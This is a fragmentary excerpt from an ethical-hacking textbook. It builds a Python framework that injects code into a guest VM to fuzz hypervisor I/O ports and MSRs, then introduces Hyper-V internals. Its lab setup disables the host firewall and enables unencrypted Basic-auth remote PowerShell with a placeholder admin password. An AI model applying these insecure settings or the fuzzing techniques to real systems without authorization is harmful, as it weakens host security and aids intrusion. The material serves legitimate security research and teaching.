send_msg(MTBoot);
while (1) {
recv_msg();
assert(List == get_tp());❶
for (TP prefix = get_tp(); Nil != prefix; prefix = get_tp()) {
Primitive_t op_type;
assert(UInt32 == prefix); /* requests must start with ReqType */
get_primitive(prefix, &op_type);
assert(OpWrite == op_type.u32 || OpExec == op_type.u32);❷
if (OpWrite == op_type.u32)
op_write();
if (OpExec == op_type.u32)
op_exec();
}
}
}
This code looks similar to its C counterpart, but in this case, we separated the hdr_csum
field from the rest of the header, which is wrapped with RawCopy ❶ to access it as a binary
blob via c.this.hdr.data. This way, we can compute its CRC32-C ❷.
Another important distinction is the introduction of a synthetic field called
_csum_offset ❸, which is used to store the current stream position. Later on, we will
use this field to access the checksum ❹ field when computing the CRC32-C of the
message’s body.
PART V
Following the same order as the C implementation, we will define TP values and
primitives (integers):
TP = c.Enum(c.Int32ul,
UInt8=0x001, UInt16=0x002, UInt32=0x004, UInt64=0x008,
Int8=0x101, Int16=0x102, Int32=0x104, Int64=0x108,
Array=0x400, CString=0x500, List=0x600, Nil=0x700
)
IntPrefixes = (❶
TP.UInt8, TP.UInt16, TP.UInt32, TP.UInt64,
TP.Int8, TP.Int16, TP.Int32, TP.Int64
)
IntConstructs = (❷
c.Int8ul, c.Int16ul, c.Int32ul, c.Int64ul,
c.Int8sl, c.Int16sl, c.Int32sl, c.Int64sl
)
IntFixed = (
f.UInt8, f.UInt16, f.UInt32, f.UInt64, f.Int8, f.Int16, f.Int32, f.Int64
)
def make_adapter(cInt, fInt):
return c.ExprSymmetricAdapter(cInt, lambda obj, _: fInt(obj))
IntAdapters = (❸
make_adapter(cInt, fInt) for cInt, fInt in zip(IntConstructs, IntFixed)
)
IntAlist = list(zip(IntPrefixes, IntAdapters))❹
Gray Hat Hacking: The Ethical Hacker’s Handbook
502
IntPrefixes ❶ is the group of TP values corresponding to primitive types, and
IntConstructs ❷ is its associated group of constructs. Instead of using Python’s big-
num integers, we want to work with fixed-sized values. For this purpose, we created
a list of adapters called IntAdapters ❸. Finally, we map TP values to their respective
adapters in IntAlist ❹.
Compound types require more work, mostly due to the implementation of adapters
to convert them to standard collections:
class ArrayAdapter(c.Adapter):❸
def _decode(self, obj, context, path):
subtype = dict(zip(IntPrefixes, IntFixed))[obj.subtype]
return tuple(subtype(x) for x in obj.v)
class ListAdapter(c.Adapter):❽
def _decode(self, obj, context, path):
ret = []
while obj.head != None:
ret.append(obj.head)
obj = obj.tail
return ret
List = c.Struct(❻
'head' / c.LazyBound(lambda: Body),
'tail' / c.If(c.this.head != None, c.LazyBound(lambda: List))
)
CompAlist = [❶
(TP.Array, ArrayAdapter(❷
c.Struct(
'count' / c.Int32ul,
'subtype'/ c.Select(*(c.Const(x, TP) for x in IntPrefixes)),
'v' / c.Array(
c.this.count, c.Switch(c.this.subtype, dict(IntAlist)))))),
(TP.CString, c.CString('ascii')),❹
(TP.List, ListAdapter(List)),❺
(TP.Nil, c.Computed(None))
]
PythonObj = IntFixed + (tuple, str, list, type(None))
Prefixes = IntPrefixes + (TP.Array, TP.CString, TP.List, TP.Nil)
class BodyAdapter(c.Adapter):❾
def _decode(self, obj, context, path):
return obj.value
Body = BodyAdapter(❼
c.Struct(
'prefix' / TP,
'value' / c.Switch(c.this.prefix, dict(IntAlist + CompAlist)))
)
PART V
'_body_checksum' / c.Pointer(❷
c.this.header.hdr.value._csum_offset,
c.Checksum(c.Int32ul, crc32c, c.this.body.data)
)
)
def recv(reader):❸
hdr = reader.read(MsgHdr.sizeof())
body = reader.read(MsgHdr.parse(hdr).hdr.value.len)
msg = Message.parse(hdr + body)
return (msg.header.hdr.value.type, msg.body.value)
In this section, we will write a Python class to abstract the process of launching a VM
instance and receiving messages from the serial port. Later in this chapter, we will extend
it to provide code injection capabilities.
# guest.py
from subprocess import Popen, PIPE
import protocol
class Guest:❶
def __init__(self):
self.proc = None
def __enter__(self):
self.proc = Popen(
('exec qemu-system-x86_64 -display none -boot d '
'-cdrom kernel_bios.iso -m 300M -serial stdio -enable-kvm'),
stdout=PIPE, stdin=PIPE, shell=True
)
return self
def messages(self):❷
while self.proc.returncode is None:
yield protocol.recv(self.proc.stdout)
We can observe an OOB message, followed by the boot message containing symbols
and address space information. In the next section, we will handle those messages and
implement the requests to execute arbitrary code in the guest.
Before making the necessary changes to the Guest class, we will need a couple of auxiliary
classes:
# remotemem.py
import portion as P
class RemoteMemoryError(Exception):
pass
PART V
class RemoteMemory:
def __init__(self):
self.mem = P.empty()
self.allocations = dict()
class OpType(Enum):
Write = 0
Exec = 1
class Guest:
… omitted for brevity …
def _init_boot_info(self, symbols, mmap):❶
self.symbols = dict(symbols)
self.memory = RemoteMemory()
for entry in map(dict, mmap):
if entry['type'] == 1: # MULTIBOOT_MEMORY_AVAILABLE
self.memory.add_region(entry['address'], entry['length'])
kernel_end = (self.symbols['_end'] + 0x1000) & ~0xfff
self.memory.del_region(0, kernel_end)
def messages(self):
while self.proc.returncode is None:
msg = protocol.recv(self.proc.stdout)
Chapter 24: Creating a Research Framework
507
msg_type, body = msg
if msg_type == protocol.MT.Boot:
self._init_boot_info(**dict(body))
yield msg
def op_commit(self):❹
protocol.send(self.proc.stdin, self._request)
self._request.clear()
The first change is in the messages method, so now we call _init_boot_info ❶ when
a boot message arrives, to initialize two properties: symbols and memory (an instance
of RemoteMemory).
PART V
Address ranges describing regions of available memory are added to the memory
object, and the range of address zero to the end of the kernel is removed from available
memory.
New methods were implemented to build the operations that compose a request
message:
• op_write ❷ Takes a Code instance (and optionally a base address), builds the
code, and encodes the resulting binary in a write operation, which is then added
to the request’s operations list.
• op_exec ❸ Takes an address and encodes it in an execute operation, adding it
to the operations list.
• op_commit ❹ Takes the contents from the operations list to build and send a
request message.
These methods provide a low-level API, but we implemented an execute ❺ method
for the most common use case, only requiring a Code instance.
Gray Hat Hacking: The Ethical Hacker’s Handbook
508
Let’s test this new functionality by executing some code in the guest:
# main.py
import protocol
from guest import Guest
from code import Code
from enum import Enum
class OOBType(Enum):
Print = 0
with Guest() as g:
for (msg_type, body) in g.messages():
if msg_type == protocol.MT.OOB:
oob_type, *msg = body
if oob_type == OOBType.Print.value:
fmt, *args = msg
print(f'PRINT: {fmt % tuple(args)}')
if msg_type == protocol.MT.Boot:
print('BOOTED')
g.execute(Code("""
OOB_PRINT "hello world!"
REPLY_EMPTY
ret""", g.symbols))❶
if msg_type == protocol.MT.Reply:
print(f'REPLY: {body}')
When a boot message arrives, the script injects a snippet of code into the guest to send
a “hello world!” message ❶.
We can see a “hello world!” message and an empty reply produced by the injected
code!
Fuzzing
With our current framework, we are now able to launch a VM and execute arbitrary
code at Ring-0. All this from just a few Python lines. Now we are going to use it to fuzz
hypervisors!
Chapter 24: Creating a Research Framework
509
The Fuzzer Base Class
Writing fuzzers involves some repetitive tasks that we can abstract into a base class:
# fuzzer.py
import random
import signal
import protocol
from enum import Enum
from guest import Guest
from code import Code
class OOBType(Enum):
Print = 0
Assert = 1
class Fuzzer:
regs = ('rax', 'rbx', 'rcx', 'rdx', 'rsi', 'rdi', 'rbp', 'rsp',
'r8', 'r9', 'r10', 'r11', 'r12', 'r13', 'r14', 'r15')
def __init__(self, seed):❶
self.rand = random.Random(seed)
signal.signal(signal.SIGALRM, Fuzzer.timeout_handler)
@staticmethod
def timeout_handler(signum, frame):
raise Exception('TIMEOUT')
def context_save(self):
return 'pop rax\n' + '\n'.join(
f'mov qword [{self.context_area + n*8:#x}], {reg}'
for (n, reg) in enumerate(self.regs)) + '\n'
def context_restore(self):
return '\n'.join(
PART V
f'mov {reg}, qword [{self.context_area + n*8:#x}]'
for (n, reg) in enumerate(self.regs)) + '\njmp rax\n'
def run(self):❷
while True:
try:
Gray Hat Hacking: The Ethical Hacker’s Handbook
510
with Guest() as self.guest:
for msg in self.guest.messages():
signal.alarm(0)
signal.alarm(2)
self.handle_message(*msg)
except Exception as e:
print(f'exception: {e}')
Fuzzer (or any derived class) objects are instantiated ❶ from a seed value used to
initialize the fuzzer’s pseudo-random state. The actual fuzzing is performed by the run ❷
method, which launches the guest and handles incoming messages. The message process-
ing loop sets an alarm, so if the fuzzer gets stuck for a few seconds, an exception is raised
and the fuzzer restarts with a new guest.
Reply messages are dispatched to the fuzz ❸ method, which needs to be implemented
by subclasses. Incoming boot messages can be handled by subclasses, which overload
on_boot ❹. When on_boot is not overloaded this method just calls fuzz, passing an
empty body.
Finally, we have a few convenient methods for code generation (code, context_save,
and context_restore).
Time to write our first fuzzer! The goal here is to learn how the different pieces of the
framework fit together. So, in this case, we will focus on simplicity over usefulness.
This fuzzer will be a naive random IN/OUT instruction generator:
# port_fuzzer.py
import sys
import fuzzer
from code import Code
class Fuzzer(fuzzer.Fuzzer):
def __init__(self, seed):
super().__init__(seed)
self.discovered_ports = []❶
self.blacklisted_ports = list(range(0x3f8, 0x3f8 + 5))❷
if __name__ == "__main__":
Fuzzer(int(sys.argv[1])).run()
Two properties are added to this new Fuzzer subclass: a list of discovered ports ❶
(empty initially) and a blacklist ❷ that was initialized with the ports used by the serial so
that we can avoid messing with protocol transport.
The first thing that fuzz does is to check whether the reply of the last iteration
contains data resulting from the previous execution of an IN instruction. If this data
doesn’t have all its bits set ❸, it means we read a valid port, so we add it to the list of
discovered ports.
Target ports are randomly generated 16-bit integers ❹ or are taken from the elements
of the discovered ports list ❺, but they must not be present in the blacklist.
IN or OUT instructions are chosen randomly. IN contains extra code to send a reply,
including the port number and the value of the destination operand ❻. OUT takes a
random value ❼ in its source operand and sends back an empty reply.
The fuzzer is invoked, passing a seed value argument:
┌──(root ghh6)-[/labs/lab5]
PART V
└─# python3 port_fuzzer.py 12345
PRINT: kmain at 0x00000000004012fa
New port: 0718 -> 00000000
New port: 0707 -> 00000000
New port: 00dd -> 00000000
New port: 072d -> 00000000
…
The previous fuzzer made a good learning example, but we can’t expect much from
it. Now we are going to continue with a slightly more advanced one. This next fuzzer
will generate random RDMSR/WRMSR instructions to fuzz model-specific registers.
Although this is still a super-simple fuzzer, a similar one was able to find real bugs like
CVE-2020-0751.10
# msr_fuzzer.py
import sys
import fuzzer
from code import Code
Gray Hat Hacking: The Ethical Hacker’s Handbook
512
msrs = (❶
0x00, 0x01, 0x10, 0x17, 0x1b, 0x20, 0x21, 0x28, 0x29, 0x2a, 0x2c, 0x34,
… omitted for brevity …
0xc0011039, 0xc001103a, 0xc001103b, 0xc001103d
)
def ROR(x, n, bits):
return (x >> n) | ((x & ((2**n) - 1)) << (bits - n))
class Fuzzer(fuzzer.Fuzzer):
def __init__(self, seed):
super().__init__(seed)
self.discovered_msrs = dict()❸
if __name__ == "__main__":
Fuzzer(int(sys.argv[1])).run()
This time, instead of generating an MSR from random integers, we use a hardcoded
list of msrs ❶. Even if this list is not exhaustive (for example, we lack synthetic MSRs
that are hypervisor specific), we allow the fuzzer to mutate ❷ the list elements, so eventu-
ally it will discover new MSRs.
Chapter 24: Creating a Research Framework
513
Discovered MSRs are stored in a dictionary ❸, so not just the MSR is saved, but also
the content that was read or written. This way, previous content can be included in the
fuzzing corpus ❹ of following iterations. The contents of WRMSR operations are sent,
too ❺, since this means the execution of the instruction didn’t cause an exception.
The flip_bits ❻ method was implemented to perform data mutation. It takes two
arguments: the data to mutate (in the form of an integer) and a size in bits. A bit-length
in the range of 1 to the size argument is randomly selected, giving higher probability to
small sizes. This bit-length is used to generate a random bitmask that is XORed against
the data.
Let’s run the fuzzer and see what happens:
┌──(root ghh6)-[/labs/lab6]
└─# python3 msr_fuzzer.py 12345
PRINT: kmain at 0x00000000004012fa
PRINT: kmain at 0x00000000004012fa
PRINT: kmain at 0x00000000004012fa
PRINT: kmain at 0x00000000004012fa
PRINT: kmain at 0x00000000004012fa
…
An annoying number of reboots can be observed; these slow down the fuzzing process
considerably. The reason is that we haven’t implemented any exception-handling mecha-
nism, so we will discuss this issue in the next section.
PART V
Implementing exception handling directly in the kernel has a limiting factor: we can’t
anticipate what every different fuzzer will do in order to recover from it. We should
aim for a more flexible solution, so why not let each fuzzer set its own exception han-
dler instead?
While each fuzzer can implement a recovery strategy that is optimal to its own speci-
ficities, it is nice to have a default set of handlers that are able to recover from simple
cases, so all fuzzers can benefit from it.
# fuzzer.py
class Fuzzer:
… omitted for brevity…
def on_boot(self, body):
self.install_idt()
self.fuzz([])
We extend the Fuzzer class to add generic exception handling. In on_boot, a call to
install_idt ❶ is added to inject the exception handlers and set up a new guest’s IDT.
The install_idt method takes a number of vectors (30 by default) and calls
make_vector_handler ❷ for each value in the range of 0 to the number of vectors. Entries
returned by make_vector_handler are used by install_idt to produce a new IDT ❸.
The make_vector_handler method generates the assembly code to handle the speci-
fied vector number and injects it into the guest ❹, but it does not execute it. Then it
returns an IDT entry pointing to the handler ❺. By default, the code produced by
make_vector_handler just sends an empty reply and restores the previous context state ❻.
Without further modifications, we can test the previous MSR fuzzer again:
┌──(root ghh6)-[/labs/lab7]
└─# python3 msr_fuzzer.py 12345
PRINT: kmain at 0x00000000004012fa
New MSR:c0010112 -> rdx:0000000000000000 rax:0000000000000000
New MSR:000006e0 -> rdx:0000000000000000 rax:0000000000000000
New MSR:00000187 -> rdx:8f492c25eb147d31 rax:2220718fc8f548aa
New MSR:00000258 -> rdx:0000000006060606 rax:0000000006060606
…
We can see that the number of reboots has decreased, thus improving fuzzing speed.
Summary
This chapter started discussing the hypervisor’s attack surface, describing how differ-
ent functionality converges in a single entry point (the VM-Exit handler) and how we
can trigger many of the exposed execution paths by issuing specific instructions (mostly
privileged) from the guest. From there, we designed and implemented a framework that
allowed us to do it easily from Python. Then we used this framework to implement a
couple of simple fuzzers. To close the chapter, a few recommendations were given on how
to use and improve this framework.
References
1. “Fuzzing para-virtualized devices in Hyper-V,” msrc-blog.microsoft.com/2019/01/28/
fuzzing-para-virtualized-devices-in-hyper-v/.
PART V
2. “Virtual I/O Device (VIRTIO) Version 1.1, Committee Specification,” docs
.oasis-open.org/virtio/virtio/v1.1/csprd01/virtio-v1.1-csprd01.html.
3. “Unikernel,” en.wikipedia.org/wiki/Unikernel.
4. “Invoking grub-mkrescue,” www.gnu.org/software/grub/manual/grub/html_
node/Invoking-grub_002dmkrescue.html.
5. “Multiboot2 Specification,” www.gnu.org/software/grub/manual/multiboot2/
multiboot.html.
6. “Construct,” construct.readthedocs.io.
7. “fixedint,” pypi.org/project/fixedint/.
8. “crc32c,” pypi.org/project/crc32c/.
9. “portion,” pypi.org/project/portion/.
10. “CVE-2020-0751,” labs.bluefrostsecurity.de/advisories/bfs-sa-2020-001/.
11. “PVH,” xenbits.xen.org/docs/4.6-testing/misc/pvh.html.
12. “Intel 64 and IA-32 Architectures Software Developer’s Manual, Volume 3:
System Programming Guide,” software.intel.com/content/dam/develop/external/
us/en/documents-tps/325384-sdm-vol-3abcd.pdf.
This page intentionally left blank
Inside Hyper-V
CHAPTER
25
In this chapter, we cover the following topics:
• Hyper-V’s architecture overview
• Synthetic interfaces: MSRs, SynIC, hypercalls
• VMBus communication
Microsoft Hyper-V has become an attractive target for security researchers. This
hypervisor is not just used to run critical cloud infrastructure like Azure, but it is also the
backbone of security features of the Windows OS, including Hypervisor-Protected Code
Integrity (HVCI),1 Credential Guard,2 and Application Guard.3 It’s not surprising that
Microsoft has special interest in securing Hyper-V, which is the reason why its Hyper-V
bug bounty4 program awards researchers with amounts as much as US$250,000.
Hyper-V can be a challenging target for newcomers; this chapter serves as an
introduction, giving you an overview of its architecture and covering some of its
paravirtualization interface (focusing on inter-partition communication). An in-depth
discussion of Hyper-V in a single chapter is not possible; that said, the concepts discussed
here should give you the orientation you need to conduct your own research.
NOTE The requisites to understand this chapter are the same as in the
previous one. Be sure you have read the previous chapter and are familiar
with the framework developed in it because we will use it in this chapter.
Environment Setup
Before we start, we need to set up a Hyper-V system where we will conduct our testing.
Hyper-V is available in 64-bit systems since Windows 8 and Windows Server 2008 and
requires hardware-assisted virtualization with Intel VT-x or AMD-V (ARM64 is also
supported, but it won’t be covered here). We assume that our host is running Windows
10 Pro (x64) on a 64-bit Intel CPU with VT-x support. Before we start using Hyper-V,
we must enable it, which can be done from PowerShell (as Administrator):
PS C:\WINDOWS\system32> Enable-WindowsOptionalFeature -Online -FeatureName
Microsoft-Hyper-V -All
Do you want to restart the computer to complete this operation now?
[Y] Yes [N] No [?] Help (default is "Y"):
517
Gray Hat Hacking: The Ethical Hacker’s Handbook
518
CAUTION Hyper-V is not available in Windows Home; you must use the Pro,
Enterprise, or Education edition.
Once we grab the code, and before we build the Docker container, we need to edit
the first lines of the file GHHv6/ch25/labs/hyperv_guest.py. This file contains the infor-
mation needed to connect to our “target” box, copy files to it, configure and start VMs:
host = 'hyperv_box'
proxy_port = 2345
user = 'Administrator'
password = 'password123'
deploy = True
Replace hyperv_box with the domain name or IP address of the Hyper-V box, and
replace password123 with the password currently assigned to the Administrator account
of the Hyper-V box.
TIP A few files have to be copied over to the Hyper-V box. By default, the
hyperv_guest.py script always does this copy, but it is only needed once.
To speed up things, after the files have been copied the first time, this
behavior can be disabled by setting the deploy variable to False.
Now we can create the Docker image and run it (from GHHv6/ch25/):
$ docker build -t kali .
$ docker run --network host -it kali bash
We will disable the Windows firewall and grant remote PowerShell access to the
Hyper-V box by running the following commands as Administrator:
PS C:\WINDOWS\system32> Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
PS C:\WINDOWS\system32> Enable-PSRemoting -Force
...omitted for brevity...
Configured LocalAccountTokenFilterPolicy to grant administrative rights remotely to local users.
PS C:\WINDOWS\system32> winrm set winrm/config/service '@{AllowUnencrypted="true"}'
...omitted for brevity...
PS C:\WINDOWS\system32> winrm set winrm/config/service/auth '@{Basic="true"}'
...omitted for brevity...
PS C:\WINDOWS\system32> Get-LocalUser -Name "Administrator" | Enable-LocalUser
Chapter 25: Inside Hyper-V
519
CAUTION We assume the system we are working with is on a private
network. Do not set this configuration on an Internet-facing system
since it is risky!
Hyper-V Architecture
Hyper-V is a Type-1 hypervisor, which means there is a non-hosted VMM module
interacting directly with the hardware. On Intel-based systems, this module is called
hvix64.exe, and on AMD-based systems, this module is called hvax64.exe. During the
boot process, the Windows loader (winload) loads the Hyper-V loader (hvloader), which
in turn loads the VMM module (hvix64 or hvax64). When the VMM starts, it creates a
“root partition” running a Windows OS containing the rest of the virtualization stack.
The root partition is a privileged partition with access to most hardware devices; access
is not total, though, since the root partition shouldn’t be capable of compromising the
VMM integrity.
PART V
special set of privileges (granted to the root partition) to succeed. Another set of hyper-
calls is used by the root partition to register “intercepts,” so the root partition can be
notified by the VMM on specific events caused by the children. The root partition can
propagate these notifications to less-privileged components that perform certain virtual-
ization tasks (like hardware-devices emulation).
Hyper-V Components
It is wise to spread certain virtualization tasks across different components according
to their complexity and service time requirements. In this tier, the VMM is both the
most privileged and most responsive component. For this reason, tasks performed by the
VMM should be limited to those that are either simple or require high responsiveness.
In general, the VMM takes care of handling privileged CPU instructions and sim-
ple devices (like timers and the interrupt controller), whereas slower or more complex
devices are emulated by a “worker process.” Between these two extremes, we can find the
Virtualization Service Providers, which are kernel drivers providing support for paravir-
tualized devices.
Gray Hat Hacking: The Ethical Hacker’s Handbook
520
We already mentioned the VMM module, so let’s see what other components are part
of the virtualization stack.
The worker process has no direct hypercall access (granted only to ring-0). Instead,
it must use the interface provided by the Virtualization Infrastructure Driver (VID):
vid.sys. The user-mode side that talks to the VID is implemented in vid.dll, imported by
the worker process. The kernel notifies the worker process of guest events (like accesses to
I/O ports or MMIO) through the VID Notification Dispatcher (VND), these events are
based on intercept notifications coming from the VMM. When handling a VM-Exit (for
example, an I/O port access or an EPT violation), the VMM checks for registered inter-
cepts and notifies the kernel in the root partition, which in turn notifies the worker process.
TIP A complex and important VSP is vmswitch.sys. Over the years multiple
vulnerabilities have been found in it.
Guests willing to make use of a synthetic device must implement on their side a
Virtualization Service Consumer (VSC) to communicate with the device’s VSP.
Communication between VSPs and VSCs happens over an inter-partition communica-
tion channel called VMBus (we will discuss the VMBus later in this chapter).
Integration Components
Guest additions communicate (over the VMBus) with Integration Components (ICs)6 to
provide convenience features and performance enhancements to the VM.
Chapter 25: Inside Hyper-V
521
NOTE Every VMBus “device” (including ICs) has a globally unique identifier
(GUID)7 assigned that children partitions can use to identify the device they
want to establish a connection to.
PART V
NOTE Enabling a VTL requires that the partition has the AccessVsm9
capability. The root partition has this capability.
One of the main aspects of VTL is the ability to isolate memory regions across the
different privilege levels. This allows the implementation of security features such as
Hypervisor-protected Code Integrity (HVCI). The hypervisor keeps a different set of
SLAT tables (on Intel-based systems, EPT is used) for each VTL, and even if privileged
software in VTL0 is compromised, an access attempt to a protected region will cause an
EPT violation. The hypervisor captures it and then notifies the software in VTL1 (via an
intercept), which decides how to handle it.
NOTE Not just memory accesses can be intercepted and handled by VTL1;
every critical part of the CPU state must be protected, including some
model-specific registers (MSRs).
Gray Hat Hacking: The Ethical Hacker’s Handbook
522
This kind of access violation event causes a context switch from VTL0 to VTL1.
Other sources of events that cause VTL0 to VTL1 transitions are interrupts (each
VTL has its own interrupt controller) and VTL calls (issued explicitly through the
HvCallVtlCall hypercall).
A context switch from VTL1 to VTL0 can only happen explicitly, when the software
running in VTL1 calls the HvCallVtlReturn hypercall.
VTLs are used to implement Secure Kernel (SK). During the boot-loading process
(after Hyper-V has loaded), both the NT kernel and SK are loaded (in VTL0). Then
VTL1 is enabled and configured to isolate SK (now in VTL1) from the NT kernel,
which keeps its execution at VTL0.
Generation-1 VMs
There are two VM “generations” in Hyper-V. The old-style VMs known as “Generation-1”
provide full-device emulation (implemented in the worker process) to run unmodified
guest OSs. This emulated environment is a BIOS-based architecture with legacy devices.
Paravirtualized (“synthetic”) devices are also available to virtualization-aware guests;
however, Generation-1 guests can only boot from the emulated devices.
In the output, we can see information about the emulated devices present in a
Generation-1 VM created with a default configuration.
NOTE Our new base class is now called Session, and it generalizes on the
Fuzzer class we implemented in Chapter 24.
Generation 2 VMs
The newer, “Generation-2” VMs can only run virtualization-aware (“enlightened”)
guests. Except for a couple of emulated devices, most have been replaced by synthetic
ones. These provide “enlightened I/O” over an efficient inter-partition communication
mechanism known as VMBus. Synthetic devices are usually based on existing protocols
(like SCSI, RNDIS, or HID) but use VMBus as the basic transport layer. Later in this
chapter, we will discuss VMBus in more detail.
Generation-2 VMs are based on the Unified Extensible Firmware Interface (UEFI)
architecture, which enables features like Secure Boot as well as allows VMs to boot from
paravirtualized devices.
PART V
Lab 25-2: Scanning PCI Devices in a Generation-2 VM
Let’s see what happens if we attempt to scan the PCI bus in a Generation-2 VM:
┌──(root ghh6)-[/labs]
└─# python3
Python 3.9.7 (default, Sep 3 2021, 06:18:44)
[GCC 10.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import pci
>>> import hyperv_guest
>>> pci.Session(hyperv_guest.GuestGen2).run()
Copying namedpipe_proxy.exe to remote host...
Copying kernel_bios.iso to remote host...
Copying kernel_efi.iso to remote host...
Creating VM...
Starting VM...
Connecting...
PRINT: kmain at 0x000000000040135d
Stopping VM...
Gray Hat Hacking: The Ethical Hacker’s Handbook
524
In this case, there is no output at all—not only are emulated devices gone but the
whole PCI bus as well! In reality, a few emulated devices (for example, video) still remain;
we just can’t find them through the PCI bus. These can still be found through ACPI
tables exposed to the guest.
Synthetic MSRs
Hyper-V exposes a set of synthetic MSRs that can be accessed through the RDMSR/
WRMSR instructions. A list of these MSRs can be found in the Hypervisor Top-Level
Functional Specification (TLFS).10 In this chapter, we will focus on the MSRs used to
map the “hypercall page” and the ones used to manage the SynIC.
TIP A description of the layout for this register can be found in the TLFS.
TIP If you are familiar with Linux’s VSYSCALL/VDSO pages, the same concept
is applied in the hypercall page.
Chapter 25: Inside Hyper-V
525
We will write a GPA to HV_X64_MSR_HYPERCALL (0x40000001), where we
want the hypercall page to be mapped. The layout of this MSR is as follows:
• Bits 63–12 Contain the Guest Physical Page Number (GPFN) where the
hypercall page is mapped.
• Bits 11–2 Reserved bits (ignored).
• Bit 1 If this bit is set, the MSR is made immutable. After that, the GPFN can’t
be modified until the guest is rebooted.
• Bit 0 Enable/disable the hypercall page.
Lab 25-3: Setting Up the Hypercall Page and Dumping Its Contents
PART V
0x1011012: mov rcx, 0x11❹
0x1011019: vmcall
0x101101c: ret
0x101101d: mov ecx, eax
0x101101f: mov eax, 0x12❺
0x1011024: vmcall
0x1011027: ret
0x1011028: mov rax, rcx
0x101102b: mov rcx, 0x12❻
0x1011032: vmcall
0x1011035: ret
0x1011036: nop
0x1011037: nop
...
SINT MSRs The SynIC provides 16 consecutive “synthetic interrupt source” (SINTx) regis-
ters: HV_X64_MSR_SINT0 (0x40000090) to HV_X64_MSR_SINT15 (0x4000009F).
Interrupt sources can be selectively unmasked and then assigned to a particular interrupt
vector. This way, the guest can be notified of events via interrupts (if interrupts are enabled),
which get handled by the corresponding service routine from the guest’s IDT (Interrupt
Descriptor Table). The layout of a SINT register is the following:
• Implicit (for example, SINT0 is reserved for messages originating from the
hypervisor).
• Explicit (for example, the SINTx field of the Synthetic Timer Configuration
registers).
• Assigned to a port allocated through the HvCallCreatePort hypercall. The
caller must specify the port type: HvPortTypeMessage, HvPortTypeEvent,
or HvPortTypeMonitor. For the first two types, a target SINTx must be specified.
This hypercall is used by the root partition to create ports used by VMBus.
Chapter 25: Inside Hyper-V
527
SIMP MSR The HV_X64_MSR_SIMP (0x40000083) register is used to enable and
assign the base address of the Synthetic Interrupt Message Page (SIMP). This page
contains a set of message slots to receive messages from either the hypervisor or other
partitions (senders use the HvCallPostMessage hypercall).
Slots are arranged as an array of HV_MESSAGE data structures, with one slot per
SINTx (16). After copying a new message to a slot, the hypervisor will try to deliver an
edge-triggered interrupt to the corresponding SINTx (if not in polling mode).
The HV_MESSAGE structure is defined as follows:
#define HV_MESSAGE_MAX_PAYLOAD_QWORD_COUNT 30
typedef struct
{
UINT8 MessagePending:1;
UINT8 Reserved:7;
} HV_MESSAGE_FLAGS;
typedef struct
{
HV_MESSAGE_TYPE MessageType;❶
UINT8 PayloadSize;
HV_MESSAGE_FLAGS MessageFlags;
UINT16 Reserved;
union
{
UINT64 OriginationId;
HV_PARTITION_ID Sender;❷
HV_PORT_ID Port; ❸
};
} HV_MESSAGE_HEADER;
typedef struct
{
PART V
HV_MESSAGE_HEADER Header;
UINT64 Payload[HV_MESSAGE_MAX_PAYLOAD_QWORD_COUNT];
} HV_MESSAGE;
In addition to a target SINTx ❶ and target virtual processor ❷, an event port has a
base flag number ❸ and a flag count ❹. A partition can use HvCallSignalEvent to set a
specific flag in the target partition by passing two parameters: a connection ID parameter
(associated to an event port) and the flag number (this number must be below the event
port’s FlagCount).
The value of BaseFlagNumber is added to the flag number, and the result is the abso-
lute bit position that will be set in the HV_SYNIC_EVENT_FLAGS bitmap of the slot
corresponding to the target SINTx.
After setting the flag, the hypervisor will try to deliver an edge-triggered interrupt to
the corresponding SINTx (if not in polling mode). A guest receiving events should make
use of an atomic Compare and Swap (CAS) instruction to clear the flags and then assert
an EOI (via the APIC).
The layout of HV_X64_MSR_SIEFP is as follows:
Hypercalls
Hypercalls can be called from guest code running at ring-0 (in 32-bit protected mode or
in long-mode) through the hypercall page mechanism described earlier.
Chapter 25: Inside Hyper-V
529
NOTE To conserve space, we will cover 64-bit calling conventions only.
When we make a call through the hypercall page, the instruction at this page
(VMCALL in this case) traps into the VMM. The VMM’s dispatch loop checks if the
VM-Exit reason code corresponds to a VMCALL (18) and then calls a routine that is
a common entry point for all hypercalls. This routine performs further validations (for
example, it checks that RIP is within the hypercall page) and then proceeds to read the
contents of the guest’s RCX register where the following information is encoded:
PART V
information needed for processing input and output arguments (implicit header
sizes, “rep” hypercalls, and so on).
The way in which the input and output parameters of a hypercall are processed
depends on the value of these RCX fields and is constrained by the information in the
hypercall table entry for that particular hypercall.
The input of this hypercall forms a fixed-size block of 24 bytes (each argument is 8 bytes).
This is the hypercall’s “implicit header size.”
On the other hand, HvCallFlushVirtualAddressList is a “rep” hypercall, taking a list
of GVA ranges to invalidate:
HV_STATUS HvCallFlushVirtualAddressList(
_In_ HV_ADDRESS_SPACE_ID AddressSpace,
_In_ HV_FLUSH_FLAGS Flags,
_In_ UINT64 ProcessorMask,
_Inout_ PUINT32 GvaCount,❶
_In_reads_(GvaCount) PCHV_GVA GvaRangeList❷
);
The interesting thing about “rep” hypercalls is that they can return before complet-
ing the “total rep count” and can be re-invocated (RIP is not increased and VMCALL is
re-executed), in which case they will keep processing the list elements from the last “start
rep index” value. This mechanism is known as hypercall continuation.
NOTE The time spent inside a hypercall must be bounded so that a virtual
processor is not stuck for long periods of time. For this reason, some simple
hypercalls also use hypercall continuations.
PART V
fixed-size header corresponds to the first two arguments (16-bytes), and ProcessorSet is
a variable-size header.
In memory, a variable-size header must be placed after the fixed-size header, and its
size must be rounded to 8-byte granularity. The size of the variable header (in 8-byte
blocks) must be encoded in bits 25–17 of the RCX register.
Our last example is a “rep” hypercall with variable-size headers:
HV_STATUS HvCallFlushVirtualAddressListEx(
_In_ HV_ADDRESS_SPACE_ID AddressSpace,
_In_ HV_FLUSH_FLAGS Flags,
_In_ HV_VP_SET ProcessorSet,
_Inout_ PUINT32 GvaCount,
_In_reads_(GvaCount) PCHV_GVA GvaRangeList
);
The arguments are in the same order we should place them in memory: fixed-size
header, followed by variable-size header, and finally the “rep” list.
Gray Hat Hacking: The Ethical Hacker’s Handbook
532
VMBus
VMBus is a channel-based communication mechanism used by VSPs and ICs. Our
guest’s minimal prerequisites to use the VMBus are as follows:
Initiation
To initiate communication with the VMBus, we send (via HvCallPostMessage) an
“initiate contact” request. This message is sent to the connection ID 4 (older versions
use 1, but we will use 4). The layout of this message (as ported to our framework from
the definitions found in the Linux Kernel) is as follows:
VmbusChannelMessageHeader = c.Struct(
